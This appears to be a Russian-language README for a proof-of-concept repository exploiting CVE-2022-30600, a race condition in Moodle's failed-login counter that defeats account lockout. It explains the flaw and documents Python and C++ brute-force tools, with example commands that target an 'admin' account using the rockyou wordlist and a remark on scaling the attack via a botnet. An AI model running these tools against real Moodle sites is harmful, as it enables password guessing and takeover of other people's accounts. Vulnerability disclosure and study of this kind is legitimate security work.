
Доказательство концепции для CVE-2022-30600
Этот репозиторий содержит 2 реализации доказательства концепции, которое эксплуатирует CVE-2022-30600.
CVE-2022-30600 — это уязвимость безопасности, которая позволяет злоумышленнику обойти порог блокировки учетной записи в веб-приложении moodle.
Как указано в следующей записи в базе данных NVD https://nvd.nist.gov/vuln/detail/CVE-2022-30600, следующие версии известны как уязвимые для этой эксплуатации.
3.9 - 3.9.13
3.10 - 3.10.10
3.11 - 3.11.6
Как указано в коммите, использованном для исправления этой уязвимости, проблема заключается в логике, используемой для доступа и увеличения значения login_failed_count в базе данных.
Если происходит более 1 одновременного запроса на вход, то веб-приложение moodle может не выполнить правильную проверку и обновление значения входа в приложении. Это приводит к тому, что 2 или более неудачных попытки входа учитываются только как 1 неудачная попытка.
Чтобы лучше понять это, диаграмма ниже представляет собой высокоуровневое описание неудачного запроса на вход с точки зрения клиента, веб-приложения и базы данных.
sequenceDiagram
participant C as Client
participant W as Webapp
participant D as Database
C->>W: Login Request
W->>D: Requests failed_login_attempt
D->>W: failed_login_attempt = 0
W->>W: local failed_login_attempt = 0
W->>W: local failed_login_attempt = 1
W->>D: failed_login_attempt = 1
W->>C: Login FailedРезультат состоит в том, что значение failed_login_attempt в базе данных корректно, и последующие попытки входа будут правильно его обновлять.
Если злоумышленник отправляет несколько одновременных запросов на вход, то возникает следующая проблема.
sequenceDiagram
participant C as Client
participant W as Webapp
participant D as Database
C->>W: Login Request (session 1)
C->>W: Login Request (session 2)
W->>D: Requests failed_login_attempt (session 1)
W->>D: Requests failed_login_attempt (session 2)
D->>W: failed_login_attempt = 0 (session 1)
D->>W: failed_login_attempt = 0 (session 2)
W->>W: local failed_login_attempt = 0 (session 1)
W->>W: local failed_login_attempt = 0 (session 2)
W->>W: local failed_login_attempt = 1 (session 1)
W->>W: local failed_login_attempt = 1 (session 2)
W->>D: failed_login_attempt = 1 (session 1)
W->>D: failed_login_attempt = 1 (session 2)
W->>C: Login Failed (session 1)
W->>C: Login Failed (session 2)Результатом этого взаимодействия является то, что значение failed_login_attempt в базе данных увеличивается только на 1, несмотря на 2 неудачных запроса на вход. Это можно масштабировать до сотен запросов, при этом ограничениями являются количество одновременных запросов, которое может отправить клиент, и количество запросов, которое веб-сервер может обрабатывать одновременно.
Кроме того, если злоумышленник имеет доступ к нескольким клиентам (например, ботнет) и может синхронизировать время отправки этих запросов, то он может преодолеть ограничения, используя один клиент, и сделать атаку более сложной для смягчения.
poc.py — это реализация атаки на Python3. Она использует потоки для выполнения одновременных запросов. Хотя это доказательство концепции работает, глобальная блокировка интерпретатора (GIL) в Python3 мешает преимуществу использования нескольких потоков в данных обстоятельствах. Я настоятельно рекомендую использовать реализацию на C++, так как она работает лучше, когда атака выполняется с одного клиента.
poc.py [-h] -u USERNAME -url TARGET -w WORDLIST -t THREADS [-a ATTEMPTS] [-d DELAY]
опции:
-h, --help
показывает это справочное сообщение
-u USERNAME, --username USERNAME
Имя пользователя целевой учетной записи
-url TARGET, --target TARGET
Базовый URL целевого веб-приложения moodle
-w WORDLIST, --wordlist WORDLIST
Путь к используемому файлу словаря
-t THREADS, --threads THREADS
Количество потоков, создаваемых для каждой попытки
-a ATTEMPTS, --attempts ATTEMPTS
Количество попыток, которое вы хотите сделать. По умолчанию 1
-d DELAY, --delay DELAY
Количество секунд между каждой попыткой. Значение по умолчанию 2
python3 poc.py -u admin -url https://moodle/ -w /usr/share/wordlists/rockyou.txt -t 15 -a 8
цель : https://moodle/
имя пользователя учетной записи : admin
словарь : /usr/share/wordlists/rockyou.txt
потоки : 15 запросов на вход будет выполнено в каждой попытке
попытки : атака повторится 8 раз в общей сложности.
В этом примере будет выполнено всего 120 (8 * 15) запросов на вход. Между каждой попыткой будет задержка в 2 секунды.
poc.cpp — это реализация атаки на C++, которая использует библиотеку curl для выполнения атаки. Поэтому для компиляции приложения требуются некоторые флаги компилятора. В целом, эта реализация работает лучше, чем версия на Python3, так как потоки могут использовать все ядра клиентского устройства, что позволяет выполнять больше одновременных соединений за более короткое время. Это означает, что эксплойт работает более стабильно.
g++ poc.cpp -o poc -lcurl
Usage:
poc [OPTION...]
-a, --attempts
Количество раз, которое выполняется атака.
-t, --threads
Количество потоков, используемых в каждой попытке.
-n, --username
Имя пользователя целевой учетной записи
-u, --URL
Базовый URL веб-приложения moodle
-d, --delay
Задержка времени между попытками. По умолчанию 5
-v, --version
Показать версию
-h, --help
Вывести справочное сообщение
-w, --wordlist arg
Словарь паролей.
./poc -w /usr/share/wordlists/rockyou.txt -u https://moodle/ -n admin -a 3 -t 5 -d 2
словарь : /usr/share/wordlists/rockyou.txt
URL : https://moodle/
имя пользователя учетной записи : admin
попытки : будет выполнено 3 попытки
потоки : в каждой попытке будет использовано 5 потоков
задержка : между каждой попыткой будет задержка в 2 секунды
Для разработки, тестирования и отладки этих скриптов я создал виртуальную машину. Эта виртуальная машина использовала следующее программное обеспечение и версии.
Moodle 3.9.0 PHP 7.2.34 MySQL 8.0.30 Ubuntu 5.15.0-41-generic Apache 2.4.52
Я не одобряю использование моего исходного кода в незаконной деятельности.